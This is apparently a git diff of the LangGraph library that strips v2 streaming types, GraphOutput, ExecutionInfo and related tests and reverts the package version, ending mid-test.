# emit chunk
if version == "v2":
ints: tuple[Interrupt, ...] = ()
if mode == "values" and isinstance(chunk.data, dict):
ints = tuple(
Interrupt(**i) if isinstance(i, dict) else i
for i in chunk.data.pop(INTERRUPT, ())
)
yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
elif subgraphs:
if subgraphs:
if NS_SEP in chunk.event:
mode, ns_ = chunk.event.split(NS_SEP, 1)
ns = tuple(ns_.split(NS_SEP))
@@ -841,59 +792,23 @@ class RemoteGraph(PregelProtocol):
else:
yield chunk
@overload
def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> AsyncIterator[StreamPart]: ...
@overload
def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> AsyncIterator[dict[str, Any] | Any]: ...
async def astream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> AsyncIterator[dict[str, Any] | Any]:
"""Create a run and stream the results.
This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
is specified in the `configurable` field of the config or
is speciffed in the `configurable` field of the config or
`POST /runs/stream` otherwise.
Args:
@@ -928,7 +843,6 @@ class RemoteGraph(PregelProtocol):
input=input,
command=command,
config=sanitized_config,
context=context,
stream_mode=stream_modes,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
@@ -970,18 +884,10 @@ class RemoteGraph(PregelProtocol):
continue
if chunk.event.startswith("messages"):
chunk = chunk._replace(data=tuple(chunk.data))
chunk = chunk._replace(data=tuple(chunk.data)) # type: ignore
# emit chunk
if version == "v2":
ints: tuple[Interrupt, ...] = ()
if mode == "values" and isinstance(chunk.data, dict):
ints = tuple(
Interrupt(**i) if isinstance(i, dict) else i
for i in chunk.data.pop(INTERRUPT, ())
)
yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
elif subgraphs:
if subgraphs:
if NS_SEP in chunk.event:
mode, ns_ = chunk.event.split(NS_SEP, 1)
ns = tuple(ns_.split(NS_SEP))
@@ -1012,47 +918,15 @@ class RemoteGraph(PregelProtocol):
) -> AsyncIterator[dict[str, Any]]:
raise NotImplementedError
@overload
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[dict[str, Any]]: ...
@overload
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
def invoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Create a run, wait until it finishes and return the final state.
@@ -1063,78 +937,37 @@ class RemoteGraph(PregelProtocol):
interrupt_before: Interrupt the graph before these nodes.
interrupt_after: Interrupt the graph after these nodes.
headers: Additional headers to pass to the request.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts.
**kwargs: Additional params to pass to RemoteGraph.stream.
Returns:
The output of the graph.
"""
for chunk in self.stream( # type: ignore[misc, call-overload]
for chunk in self.stream(
input,
config=config,
context=context,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
headers=headers,
stream_mode="values",
params=params,
version=version,
**kwargs,
):
pass
try:
if version == "v2":
return GraphOutput(
value=chunk["data"],
interrupts=tuple(chunk.get("interrupts", ())),
)
return chunk
except UnboundLocalError:
logger.warning("No events received from remote graph")
return None
@overload
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[dict[str, Any]]: ...
@overload
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
async def ainvoke(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Create a run, wait until it finishes and return the final state.
@@ -1145,32 +978,23 @@ class RemoteGraph(PregelProtocol):
interrupt_before: Interrupt the graph before these nodes.
interrupt_after: Interrupt the graph after these nodes.
headers: Additional headers to pass to the request.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts.
**kwargs: Additional params to pass to RemoteGraph.astream.
Returns:
The output of the graph.
"""
async for chunk in self.astream( # type: ignore[misc, call-overload]
async for chunk in self.astream(
input,
config=config,
context=context,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
headers=headers,
stream_mode="values",
params=params,
version=version,
**kwargs,
):
pass
try:
if version == "v2":
return GraphOutput(
value=chunk["data"],
interrupts=tuple(chunk.get("interrupts", ())),
)
return chunk
except UnboundLocalError:
logger.warning("No events received from remote graph")
+3 -30
View File
@@ -1,7 +1,7 @@
from __future__ import annotations
from dataclasses import dataclass, field, replace
from typing import Any, Generic, NamedTuple, cast
from typing import Any, Generic, cast
from langgraph.store.base import BaseStore
from typing_extensions import TypedDict, Unpack
@@ -11,21 +11,7 @@ from langgraph.config import get_config
from langgraph.types import _DC_KWARGS, StreamWriter
from langgraph.typing import ContextT
__all__ = ("ExecutionInfo", "Runtime", "get_runtime")
class ExecutionInfo(NamedTuple):
"""Read-only execution info/metadata for the execution of current thread/run/node."""
node_attempt: int = 1
"""Current node execution attempt number (1-indexed)."""
node_first_attempt_time: float | None = None
"""Unix timestamp (seconds) for when the first attempt started."""
def patch(self, **overrides: Any) -> ExecutionInfo:
"""Return a new execution info object with selected fields replaced."""
return self._replace(**overrides)
__all__ = ("Runtime", "get_runtime")
def _no_op_stream_writer(_: Any) -> None: ...
@@ -36,7 +22,6 @@ class _RuntimeOverrides(TypedDict, Generic[ContextT], total=False):
store: BaseStore | None
stream_writer: StreamWriter
previous: Any
execution_info: ExecutionInfo
@dataclass(**_DC_KWARGS)
@@ -44,7 +29,7 @@ class Runtime(Generic[ContextT]):
"""Convenience class that bundles run-scoped context and other runtime utilities.
This class is injected into graph nodes and middleware. It provides access to
`context`, `store`, `stream_writer`, `previous`, and `execution_info`.
`context`, `store`, `stream_writer`, and `previous`.
!!! note "Accessing `config`"
@@ -130,9 +115,6 @@ class Runtime(Generic[ContextT]):
Only available with the functional API when a checkpointer is provided.
"""
execution_info: ExecutionInfo = field(default_factory=ExecutionInfo)
"""Read-only execution information/metadata for the current node run."""
def merge(self, other: Runtime[ContextT]) -> Runtime[ContextT]:
"""Merge two runtimes together.
@@ -145,7 +127,6 @@ class Runtime(Generic[ContextT]):
if other.stream_writer is not _no_op_stream_writer
else self.stream_writer,
previous=self.previous if other.previous is None else other.previous,
execution_info=other.execution_info,
)
def override(
@@ -154,20 +135,12 @@ class Runtime(Generic[ContextT]):
"""Replace the runtime with a new runtime with the given overrides."""
return replace(self, **overrides)
def patch_execution_info(self, **overrides: Any) -> Runtime[ContextT]:
"""Return a new runtime with selected execution_info fields replaced."""
return replace(
self,
execution_info=self.execution_info.patch(**overrides),
)
DEFAULT_RUNTIME = Runtime(
context=None,
store=None,
stream_writer=_no_op_stream_writer,
previous=None,
execution_info=ExecutionInfo(),
)
+2 -287
View File
@@ -16,25 +16,16 @@ from typing import (
)
from warnings import warn
from langchain_core.messages import AnyMessage
from langchain_core.runnables import Runnable, RunnableConfig
from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointMetadata
from typing_extensions import NotRequired, TypeAliasType, TypedDict, Unpack, deprecated
from typing_extensions import Unpack, deprecated
from xxhash import xxh3_128_hexdigest
from langgraph._internal._cache import default_cache_key
from langgraph._internal._constants import INTERRUPT as _INTERRUPT_KEY
from langgraph._internal._fields import get_cached_annotated_keys, get_update_as_tuples
from langgraph._internal._retry import default_retry_on
from langgraph._internal._typing import MISSING, DeprecatedKwargs
from langgraph.warnings import LangGraphDeprecatedSinceV10, LangGraphDeprecatedSinceV11
# Local TypeVars for generic stream TypedDicts.
# We use separate TypeVars here (rather than importing from langgraph.typing)
# because the typing module TypeVars have defaults that cause mypy issues
# when used in standalone type aliases.
StateT = TypeVar("StateT")
OutputT = TypeVar("OutputT")
from langgraph.warnings import LangGraphDeprecatedSinceV10
if TYPE_CHECKING:
from langgraph.pregel.protocol import PregelProtocol
@@ -53,19 +44,6 @@ __all__ = (
"Checkpointer",
"StreamMode",
"StreamWriter",
"StreamPart",
"ValuesStreamPart",
"UpdatesStreamPart",
"MessagesStreamPart",
"CustomStreamPart",
"CheckpointStreamPart",
"TasksStreamPart",
"DebugStreamPart",
"TaskPayload",
"TaskResultPayload",
"CheckpointTask",
"CheckpointPayload",
"DebugPayload",
"RetryPolicy",
"CachePolicy",
"Interrupt",
@@ -78,7 +56,6 @@ __all__ = (
"Durability",
"interrupt",
"Overwrite",
"GraphOutput",
"ensure_valid_checkpointer",
)
@@ -136,268 +113,6 @@ StreamWriter = Callable[[Any], None]
Always injected into nodes if requested as a keyword argument, but it's a no-op
when not using `stream_mode="custom"`."""
class TaskPayload(TypedDict):
"""Payload for a task start event."""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node being executed."""
input: Any
"""Input data passed to the task."""
triggers: list[str]
"""List of triggers that caused this task to be executed (e.g. channel writes)."""
class TaskResultPayload(TypedDict):
"""Payload for a task result event."""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node that was executed."""
error: str | None
"""Error message if the task failed, otherwise `None`."""
interrupts: list[dict]
"""List of interrupts that occurred during task execution."""
result: dict[str, Any]
"""Mapping of channel names to the values written by this task."""
class CheckpointTask(TypedDict):
"""A task entry within a `CheckpointPayload`.
The keys present depend on the task's state:
- **Error:** `id`, `name`, `error`, `state`
- **Has result:** `id`, `name`, `result`, `interrupts`, `state`
- **Pending:** `id`, `name`, `interrupts`, `state`
"""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node being executed."""
error: NotRequired[str]
"""Error message, present only if the task failed."""
result: NotRequired[Any]
"""Result of the task, present only if the task completed successfully."""
interrupts: NotRequired[list[dict]]
"""List of interrupts, present when the task has been interrupted or completed."""
state: StateSnapshot | RunnableConfig | None
"""Snapshot of the subgraph state, or a `RunnableConfig` pointing to it. `None` if not a subgraph."""
class CheckpointPayload(TypedDict, Generic[StateT]):
"""Payload for a checkpoint event."""
config: RunnableConfig | None
"""Configuration for this checkpoint, including the `thread_id` and `checkpoint_id`."""
metadata: CheckpointMetadata
"""Metadata associated with this checkpoint (e.g. step number, source, writes)."""
values: StateT
"""Current state values at the time of this checkpoint."""
next: list[str]
"""Names of the nodes scheduled to execute next."""
parent_config: RunnableConfig | None
"""Configuration of the parent checkpoint, or `None` if this is the first checkpoint."""
tasks: list[CheckpointTask]
"""List of tasks associated with this checkpoint."""
class _DebugCheckpointPayload(TypedDict, Generic[StateT]):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["checkpoint"]
"""Event type discriminator, always `"checkpoint"`."""
payload: CheckpointPayload[StateT]
"""The checkpoint payload."""
class _DebugTaskPayload(TypedDict):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["task"]
"""Event type discriminator, always `"task"`."""
payload: TaskPayload
"""The task start payload."""
class _DebugTaskResultPayload(TypedDict):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["task_result"]
"""Event type discriminator, always `"task_result"`."""
payload: TaskResultPayload
"""The task result payload."""
DebugPayload = TypeAliasType(
"DebugPayload",
_DebugCheckpointPayload[StateT] | _DebugTaskPayload | _DebugTaskResultPayload,
type_params=(StateT,),
)
"""Wrapper payload for debug events. Discriminate on `type`."""
class ValuesStreamPart(TypedDict, Generic[OutputT]):
"""Stream part emitted for `stream_mode="values"`.
`data` contains the full state after each step, as returned by `read_channels()`.
"""
type: Literal["values"]
ns: tuple[str, ...]
data: OutputT
interrupts: tuple[Interrupt, ...]
class UpdatesStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="updates"`.
`data` maps node names to their outputs. May also contain
`__interrupt__` (tuple of `Interrupt` dicts) and `__metadata__` keys.
"""
type: Literal["updates"]
ns: tuple[str, ...]
data: dict[str, Any]
class MessagesStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="messages"`.
`data` is a 2-tuple of `(message, metadata)` where `message` is a
`BaseMessage` (e.g. `AIMessageChunk`) and `metadata` is a dict containing
keys like `langgraph_step`, `langgraph_node`, `langgraph_triggers`, etc.
"""
type: Literal["messages"]
ns: tuple[str, ...]
data: tuple[AnyMessage, dict[str, Any]]
class CustomStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="custom"`.
`data` is whatever value was passed to `StreamWriter` inside a node.
"""
type: Literal["custom"]
ns: tuple[str, ...]
data: Any
class CheckpointStreamPart(TypedDict, Generic[StateT]):
"""Stream part emitted for `stream_mode="checkpoints"`."""
type: Literal["checkpoints"]
ns: tuple[str, ...]
data: CheckpointPayload[StateT]
class TasksStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="tasks"`.
For task start events, `data` is a `TaskPayload` with `id`, `name`,
`input`, and `triggers` keys.
For task result events, `data` is a `TaskResultPayload` with `id`,
`name`, `error`, `interrupts`, and `result` keys.
"""
type: Literal["tasks"]
ns: tuple[str, ...]
data: TaskPayload | TaskResultPayload
class DebugStreamPart(TypedDict, Generic[StateT]):
"""Stream part emitted for `stream_mode="debug"`."""
type: Literal["debug"]
ns: tuple[str, ...]
data: DebugPayload[StateT]
StreamPart = TypeAliasType(
"StreamPart",
ValuesStreamPart[OutputT]
| UpdatesStreamPart
| MessagesStreamPart
| CustomStreamPart
| CheckpointStreamPart[StateT]
| TasksStreamPart
| DebugStreamPart[StateT],
type_params=(StateT, OutputT),
)
"""A discriminated union of all v2 stream part types.
Use `part["type"]` to narrow the type:
```python
async for part in graph.astream(input, version="v2"):
if part["type"] == "values":
part["data"] # OutputT — full state (pydantic/dataclass/dict)
elif part["type"] == "messages":
part["data"] # tuple[BaseMessage, dict] — (message, metadata)
elif part["type"] == "custom":
part["data"] # Any — user-defined
```
"""
@dataclass(frozen=True)
class GraphOutput(Generic[OutputT]):
"""Typed container returned by `invoke()` / `ainvoke()` with `version="v2"`.
Attributes:
value: The final output of the graph (dict, Pydantic model, dataclass, etc.).
interrupts: Any interrupts that occurred during execution.
"""
value: OutputT
interrupts: tuple[Interrupt, ...] = ()
def __getitem__(self, key: str) -> Any:
"""Backward compat: `result['__interrupt__']` and dict-key access."""
warn(
"Accessing GraphOutput via `result[key]` is deprecated. "
"Use `result.value` to access the output value directly, "
"or `result.interrupts` for interrupts.",
LangGraphDeprecatedSinceV11,
stacklevel=2,
)
if key == _INTERRUPT_KEY:
return self.interrupts
if isinstance(self.value, dict):
return self.value[key]
try:
return getattr(self.value, key)
except AttributeError:
raise KeyError(key)
def __contains__(self, key: object) -> bool:
warn(
"Accessing GraphOutput via `key in result` is deprecated. "
"Use `result.value` to access the output value directly, "
"or `result.interrupts` for interrupts.",
LangGraphDeprecatedSinceV11,
stacklevel=2,
)
if key == _INTERRUPT_KEY:
return bool(self.interrupts)
if isinstance(self.value, dict):
return key in self.value
return isinstance(key, str) and hasattr(self.value, key)
_DC_KWARGS = {"kw_only": True, "slots": True, "frozen": True}
-8
View File
@@ -6,7 +6,6 @@ __all__ = (
"LangGraphDeprecationWarning",
"LangGraphDeprecatedSinceV05",
"LangGraphDeprecatedSinceV10",
"LangGraphDeprecatedSinceV11",
)
@@ -60,10 +59,3 @@ class LangGraphDeprecatedSinceV10(LangGraphDeprecationWarning):
def __init__(self, message: str, *args: object) -> None:
super().__init__(message, *args, since=(1, 0), expected_removal=(2, 0))
class LangGraphDeprecatedSinceV11(LangGraphDeprecationWarning):
"""A specific `LangGraphDeprecationWarning` subclass defining functionality deprecated since LangGraph v1.1.0"""
def __init__(self, message: str, *args: object) -> None:
super().__init__(message, *args, since=(1, 1), expected_removal=(3, 0))
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph"
version = "1.1.3"
version = "1.0.9"
description = "Building stateful, multi-actor applications with LLMs"
authors = []
requires-python = ">=3.10"
+5 -44
View File
@@ -1,4 +1,3 @@
import os
from contextlib import asynccontextmanager, contextmanager
from uuid import uuid4
@@ -6,7 +5,6 @@ import pytest
from langgraph.checkpoint.postgres import PostgresSaver
from langgraph.checkpoint.postgres.aio import AsyncPostgresSaver
from langgraph.checkpoint.serde.encrypted import EncryptedSerializer
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
from langgraph.checkpoint.sqlite import SqliteSaver
from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver
from psycopg import AsyncConnection, Connection
@@ -20,60 +18,30 @@ from tests.memory_assert import ( # noqa: E402
)
DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5442/"
STRICT_MSGPACK = os.getenv("LANGGRAPH_STRICT_MSGPACK", "false").lower() in (
"1",
"true",
"yes",
)
def _strict_msgpack_serde() -> JsonPlusSerializer:
return JsonPlusSerializer(allowed_msgpack_modules=None)
def _apply_strict_msgpack(checkpointer) -> None:
if not STRICT_MSGPACK:
return
serde = _strict_msgpack_serde()
if hasattr(checkpointer, "serde"):
checkpointer.serde = serde
if hasattr(checkpointer, "saver") and hasattr(checkpointer.saver, "serde"):
checkpointer.saver.serde = serde
@contextmanager
def _checkpointer_memory():
if STRICT_MSGPACK:
yield MemorySaverAssertImmutable(serde=_strict_msgpack_serde())
else:
yield MemorySaverAssertImmutable()
yield MemorySaverAssertImmutable()
@contextmanager
def _checkpointer_memory_migrate_sends():
checkpointer = MemorySaverNeedsPendingSendsMigration()
_apply_strict_msgpack(checkpointer)
yield checkpointer
yield MemorySaverNeedsPendingSendsMigration()
@contextmanager
def _checkpointer_sqlite():
with SqliteSaver.from_conn_string(":memory:") as checkpointer:
_apply_strict_msgpack(checkpointer)
yield checkpointer
@contextmanager
def _checkpointer_sqlite_aes():
with SqliteSaver.from_conn_string(":memory:") as checkpointer:
if STRICT_MSGPACK:
checkpointer.serde = EncryptedSerializer.from_pycryptodome_aes(
serde=_strict_msgpack_serde(), key=b"1234567890123456"
)
else:
checkpointer.serde = EncryptedSerializer.from_pycryptodome_aes(
key=b"1234567890123456"
)
checkpointer.serde = EncryptedSerializer.from_pycryptodome_aes(
key=b"1234567890123456"
)
yield checkpointer
@@ -89,7 +57,6 @@ def _checkpointer_postgres():
DEFAULT_POSTGRES_URI + database
) as checkpointer:
checkpointer.setup()
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
@@ -112,7 +79,6 @@ def _checkpointer_postgres_pipe():
# setup can't run inside pipeline because of implicit transaction
with checkpointer.conn.pipeline() as pipe:
checkpointer.pipe = pipe
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
@@ -133,7 +99,6 @@ def _checkpointer_postgres_pool():
) as pool:
checkpointer = PostgresSaver(pool)
checkpointer.setup()
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
@@ -144,7 +109,6 @@ def _checkpointer_postgres_pool():
@asynccontextmanager
async def _checkpointer_sqlite_aio():
async with AsyncSqliteSaver.from_conn_string(":memory:") as checkpointer:
_apply_strict_msgpack(checkpointer)
yield checkpointer
@@ -162,7 +126,6 @@ async def _checkpointer_postgres_aio():
DEFAULT_POSTGRES_URI + database
) as checkpointer:
await checkpointer.setup()
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
@@ -189,7 +152,6 @@ async def _checkpointer_postgres_aio_pipe():
# setup can't run inside pipeline because of implicit transaction
async with checkpointer.conn.pipeline() as pipe:
checkpointer.pipe = pipe
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
@@ -214,7 +176,6 @@ async def _checkpointer_postgres_aio_pool():
) as pool:
checkpointer = AsyncPostgresSaver(pool)
await checkpointer.setup()
_apply_strict_msgpack(checkpointer)
yield checkpointer
finally:
# drop unique db
+2 -38
View File
@@ -14,12 +14,8 @@ from langgraph.func import entrypoint, task
from langgraph.graph import StateGraph
from langgraph.graph.message import MessageGraph
from langgraph.pregel import NodeBuilder, Pregel
from langgraph.types import GraphOutput, Interrupt, RetryPolicy
from langgraph.warnings import (
LangGraphDeprecatedSinceV05,
LangGraphDeprecatedSinceV10,
LangGraphDeprecatedSinceV11,
)
from langgraph.types import Interrupt, RetryPolicy
from langgraph.warnings import LangGraphDeprecatedSinceV05, LangGraphDeprecatedSinceV10
class PlainState(TypedDict): ...
@@ -201,7 +197,6 @@ def test_deprecated_import() -> None:
@pytest.mark.filterwarnings(
"ignore:`durability` has no effect when no checkpointer is present"
)
@pytest.mark.filterwarnings("ignore:Accessing GraphOutput via")
def test_checkpoint_during_deprecation_state_graph() -> None:
class CheckDurability(TypedDict):
durability: NotRequired[str]
@@ -346,34 +341,3 @@ def test_message_graph_deprecation() -> None:
match="MessageGraph is deprecated in LangGraph v1.0.0, to be removed in v2.0.0. Please use StateGraph with a `messages` key instead.",
):
MessageGraph()
def test_graph_output_getitem_deprecation() -> None:
output = GraphOutput(value={"foo": "bar"})
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `result\[key\]` is deprecated",
):
assert output["foo"] == "bar"
def test_graph_output_contains_deprecation() -> None:
output = GraphOutput(value={"foo": "bar"})
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `key in result` is deprecated",
):
assert "foo" in output
def test_graph_output_getitem_interrupt_deprecation() -> None:
interrupts = (Interrupt(value="q", id="abc"),)
output = GraphOutput(value={"foo": "bar"}, interrupts=interrupts)
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `result\[key\]` is deprecated",
):
assert output["__interrupt__"] == interrupts
@@ -1,53 +0,0 @@
from __future__ import annotations
from typing_extensions import TypedDict
from langgraph.graph import END, START, StateGraph
from langgraph.types import Command
def test_parent_command_from_nested_subgraph() -> None:
class ParentState(TypedDict):
jump_from_idx: int
class ChildState(TypedDict):
jump: bool
child_builder: StateGraph[ChildState] = StateGraph(ChildState)
def child_node(state: ChildState) -> Command | ChildState:
if state["jump"]:
return Command(graph=Command.PARENT, goto="parent_second")
return state
child_builder.add_node("node", child_node)
child_builder.add_edge(START, "node")
child_0 = child_builder.compile()
child_1 = child_builder.compile()
parent_builder: StateGraph[ParentState] = StateGraph(ParentState)
def parent_first(state: ParentState) -> ParentState:
child_0.invoke({"jump": state["jump_from_idx"] == 1})
if state["jump_from_idx"] == 1:
raise AssertionError("Shouldn't be here")
child_1.invoke({"jump": state["jump_from_idx"] == 2})
if state["jump_from_idx"] == 2:
raise AssertionError("Shouldn't be here")
return state
def parent_second(state: ParentState) -> ParentState:
return state
parent_builder.add_node("parent_first", parent_first)
parent_builder.add_node("parent_second", parent_second)
parent_builder.add_edge(START, "parent_first")
parent_builder.add_edge("parent_second", END)
graph = parent_builder.compile()
assert graph.invoke({"jump_from_idx": 1}) == {"jump_from_idx": 1}
assert graph.invoke({"jump_from_idx": 2}) == {"jump_from_idx": 2}
@@ -1,57 +0,0 @@
from __future__ import annotations
import pytest
from langchain_core.runnables import RunnableConfig
from typing_extensions import TypedDict
from langgraph.graph import END, START, StateGraph
from langgraph.types import Command
pytestmark = pytest.mark.anyio
async def test_parent_command_from_nested_subgraph() -> None:
class ParentState(TypedDict):
jump_from_idx: int
class ChildState(TypedDict):
jump: bool
child_builder: StateGraph[ChildState] = StateGraph(ChildState)
async def child_node(state: ChildState) -> Command | ChildState:
if state["jump"]:
return Command(graph=Command.PARENT, goto="parent_second")
return state
child_builder.add_node("node", child_node)
child_builder.add_edge(START, "node")
child_0 = child_builder.compile()
child_1 = child_builder.compile()
parent_builder: StateGraph[ParentState] = StateGraph(ParentState)
async def parent_first(state: ParentState, config: RunnableConfig) -> ParentState:
await child_0.ainvoke({"jump": state["jump_from_idx"] == 1}, config)
if state["jump_from_idx"] == 1:
raise AssertionError("Shouldn't be here")
await child_1.ainvoke({"jump": state["jump_from_idx"] == 2}, config)
if state["jump_from_idx"] == 2:
raise AssertionError("Shouldn't be here")
return state
async def parent_second(state: ParentState) -> ParentState:
return state
parent_builder.add_node("parent_first", parent_first)
parent_builder.add_node("parent_second", parent_second)
parent_builder.add_edge(START, "parent_first")
parent_builder.add_edge("parent_second", END)
graph = parent_builder.compile().with_config(recursion_limit=10)
assert await graph.ainvoke({"jump_from_idx": 1}) == {"jump_from_idx": 1}
assert await graph.ainvoke({"jump_from_idx": 2}) == {"jump_from_idx": 2}
-48
View File
@@ -8,7 +8,6 @@ import uuid
from enum import Enum
from typing import Annotated, Literal, Optional
from langgraph.checkpoint.base import BaseCheckpointSaver
from pydantic import (
BaseModel,
ByteSize,
@@ -24,10 +23,7 @@ from pydantic import (
from langgraph._internal._pydantic import is_supported_by_pydantic
from langgraph.constants import END, START
from langgraph.func import entrypoint, task
from langgraph.graph.state import StateGraph
from langgraph.types import Command, Interrupt, interrupt
from tests.any_str import AnyStr
def test_is_supported_by_pydantic() -> None:
@@ -316,47 +312,3 @@ def test_pydantic_state_field_validator():
g = builder.compile()
res = g.invoke(input_state)
assert res["text"] == "Hello, Validated John!"
class FunctionalState(BaseModel):
a: str
b: str | None = None
def test_interrupt_functional_pydantic(sync_checkpointer: BaseCheckpointSaver) -> None:
called_count = 0
@task
def foo(state: FunctionalState) -> FunctionalState:
nonlocal called_count
called_count += 1
return FunctionalState(**{"a": state.a + "foo"})
@task
def bar(state: FunctionalState) -> dict:
return {"a": state.a + "bar", "b": state.b}
@entrypoint(checkpointer=sync_checkpointer)
def graph(inputs: FunctionalState) -> FunctionalState:
fut_foo = foo(inputs)
value = interrupt("Provide value for bar:")
foo_res = fut_foo.result()
assert isinstance(foo_res, FunctionalState)
bar_input = FunctionalState(a=foo_res.a, b=value)
fut_bar = bar(bar_input)
return fut_bar.result()
config = {"configurable": {"thread_id": "1"}}
# First run, interrupted at bar
assert graph.invoke(FunctionalState(a=""), config) == {
"__interrupt__": [
Interrupt(
value="Provide value for bar:",
id=AnyStr(),
)
]
}
# Resume with an answer
res = graph.invoke(Command(resume="bar"), config)
assert res == {"a": "foobar", "b": "bar"}
assert called_count == 1
-184
View File
@@ -1,6 +1,5 @@
import re
import sys
from dataclasses import dataclass
from typing import Annotated
from unittest.mock import AsyncMock, MagicMock
@@ -11,7 +10,6 @@ from langchain_core.runnables import RunnableConfig
from langchain_core.runnables.graph import Edge as DrawableEdge
from langchain_core.runnables.graph import Node as DrawableNode
from langgraph_sdk.schema import StreamPart
from pydantic import BaseModel
from typing_extensions import TypedDict
from langgraph.errors import GraphInterrupt
@@ -910,188 +908,6 @@ async def test_ainvoke():
assert result == {"messages": [{"type": "human", "content": "world"}]}
def test_stream_context():
"""Test that context is passed through to the SDK client in stream."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "anthropic", "user_id": "123"}
stream_parts = list(
remote_pregel.stream(
{"input": "data"},
config,
context=context,
stream_mode="values",
)
)
assert stream_parts == [{"chunk": "data1"}]
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "anthropic", "user_id": "123"}
def test_stream_context_none():
"""Test that context defaults to None when not provided."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
